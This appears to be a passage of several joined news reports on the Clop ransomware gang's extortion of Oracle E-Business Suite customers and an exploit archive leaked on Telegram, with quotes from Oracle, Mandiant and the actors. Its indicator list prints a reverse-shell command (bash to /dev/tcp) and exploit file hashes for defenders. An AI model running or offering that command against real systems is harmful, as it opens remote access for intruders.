with observed exploitation. (HTTP GET and POST requests) sh -c /bin/bash -i >& /dev/tcp// 0>&1 - Command executed by exploit to open a reverse shell. 76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip (Exploit archive) aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121 - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py (Part of exploit) 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py (Part of exploit) Exploit leaked by Scattered Lapsus$ Hunters While Clop is behind the data theft attacks and exploitation of the Oracle zero-day, news of the zero-day first came from a different group of threat actors who have been making their own headlines lately with their widespread data theft attacks on Salesforce customers. On Friday, these actors, calling themselves "Scattered Lapsus$ Hunters" as they claim to consist of threat actors from Scattered Spider, Lapsus$, and ShinyHunters, leaked two files on Telegram that contained Clop's name. One file named "GIFT_FROM_CL0P.7z" contains Oracle source code that appears to be related to "support.oracle.com" based on the file names. After publishing this story, ShinyHunters told BleepingComputer that this source code was stolen during a breach of Oracle Cloud in February 2025. However, the threat actors also released an "ORACLE_EBS_NDAY_EXPLOIT_POC_SCATTERED_LAPSUS_RETARD_CL0P_HUNTERS.zip" archive, which they insinuated by the filename was the Oracle E-Business exploit used by Clop. BleepingComputer has confirmed this is the same file listed in Oracle's indicators of compromise. This archives contains a readme.md instruction file and two Python scripts named exp.py and server.py. These Python scripts are used to exploit a vulnerable Oracle E-Business Suite instance and either execute an arbitrary command or open a reverse shell back to the threat actor's servers. As the IOCs shared by Oracle list the name of the exploit archive shared by Scattered Lapsus$ Hunters, it is now confirmed that this is the exploit used by the Clop ransomware gang. However, it does raise questions on how the Scattered Lapsus$ Hunters threat actors gained access to the exploit and whether they are working with Clop in some capacity. ShinyHunters told BleepingComputer they believe a person the hacker shared the exploit with may have gave or sold it to Clop. "That was my exploit just like SAP, which was stolen by the CCP, and it upset me more that another one of my exploits was being exploited by another group in an unsuccessful way, so we leaked it. No hate to cl0p," ShinyHunters told BleepingComputer. BleepingComputer contacted Clop to ask questions about this relationship, but has not received a response at this time. Update: Added more information from ShinyHunters Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Oracle has linked an ongoing extortion campaign claimed by the Clop ransomware gang to E-Business Suite (EBS) vulnerabilities that were patched in July 2025. While the company has yet to attribute the attack to this ransomware operation, Rob Duhart, the Chief Security Officer of Oracle, confirmed that customers had received extortion emails from the gang. Duhart also urged Oracle customers to update their software and advised those requiring further assistance to contact the Oracle support team. "Oracle is aware that some Oracle E-Business Suite (EBS) customers have received extortion emails, Duhart said in a Thursday statement. "Our ongoing investigation has found the potential use of previously identified vulnerabilities that are addressed in the July 2025 Critical Patch Update. Oracle reaffirms its strong recommendation that customers apply the latest Critical Patch Updates." Although it didn't pinpoint a specific vulnerability that could have been exploited, Oracle addressed nine security flaws impacting its E-Business Suite as part of its July 2025 Critical Patch Update, three of them (CVE-2025-30745, CVE-2025-30746, and CVE-2025-50107) exploitable remotely without requiring user credentials. Mandiant and the Google Threat Intelligence Group (GTIG) told BleepingComputer this week that executives at multiple companies have received emails requesting ransoms to prevent sensitive data allegedly stolen from their Oracle E-Business Suite systems from being leaked online. According to Genevieve Stark, the head of GTIG's cybercrime unit, the attackers began sending these extortion emails "on or before September 29, 2025," and the threat analysts are still investigating this malicious activity. "We are CL0P team. If you haven't heard about us, you can google about us on internet. We have recently breached your Oracle E-Business Suite application and copied a lot of documents. All the private files and other information are now held on our system," an extortion email shared with BleepingComputer reads. While Mandiant Chief Technology Officer Charles Carmakal stated that there is insufficient evidence to determine if data has actually been stolen, the Clop gang claimed in a statement shared with BleepingComputer that they are involved in the extortion campaign, linking the attacks to a bug in an Oracle product. "Soon all will become obvious that Oracle bugged up their core product and once again, the task is on clop to save the day. We do not damage to systems and only expect payment for services we provide to protect hundreds of biggest companies in world," Clop said. Clop's claims follow the extortion of dozens of victims in January, who were breached in a massive wave of data theft attacks targeting a zero-day vulnerability (CVE-2024-50623) in Cleo's secure file transfer software. Previously, the cybercrime group was linked to multiple other data theft campaigns targeting zero-day flaws in Accellion FTA, GoAnywhere MFT, and MOVEit Transfer, with the latter impacting over 2,770 organizations worldwide. The U.S. State Department now offers a $10 million reward for any information linking Clop ransomware attacks to a foreign government. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

An individual or group of people claiming to be working with the Clop ransomware has been sending extortion emails to executives at several organizations since September 29, according to Google. The threat actor also claims to have stolen sensitive data from its target Oracle E-Business Suite. Researchers at Mandiant and Google Threat Intelligence Group (GTIG) are investigating a case but have not yet gathered enough evidence to substantiate the individual’s claims. Charles Carmakal, CTO of Mandiant at Google Cloud, commented: “We are currently observing a high-volume email campaign being launched from hundreds of compromised accounts.” His team’s initial analysis confirms that at least one of these accounts has been previously associated with activity from FIN11, a long-running financially motivated threat group known for deploying ransomware and engaging in extortion. “The malicious emails contain contact information, and we’ve verified that the two specific contact addresses provided are also publicly listed on the Clop data leak site (DLS). This move strongly suggests there’s some association with Clop and they are leveraging the brand recognition for their current operation,” Carmakal added. However, he noted that this doesn’t necessarily means Clop is involved or even aware of the campaign. “Attribution in the financially motivated cybercrime space is often complex, and actors frequently mimic established groups like Clop to increase leverage and pressure on victims. We recommend targeted organizations investigate their environments for evidence of threat actor activity,” he concluded.

SYSTEMS AMD inches closer to its goal of making AI suck less ... energyHouse of Zen claims latest systems already 4x more efficient than two years ago Google pits Marvell against Broadcom as it chases AI crownAnd Marvell just offered the Chocolate Factory a $12.2B stake to sweeten the deal SYSTEMS Cerebras CS-4 rack systems juice chips for every last drop of AI performanceNext-gen systems double per-chip performance while cramming 3x as many into a rack Security Copilot tricked into telling reseachers how to hack itselfHow to social engineer an AI's reasoning engine AI and ml Payments giant Stripe is about to drop over $7 billion to become a gateway to AI token salesAI gateways look promising as companies struggle with model orchestration Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server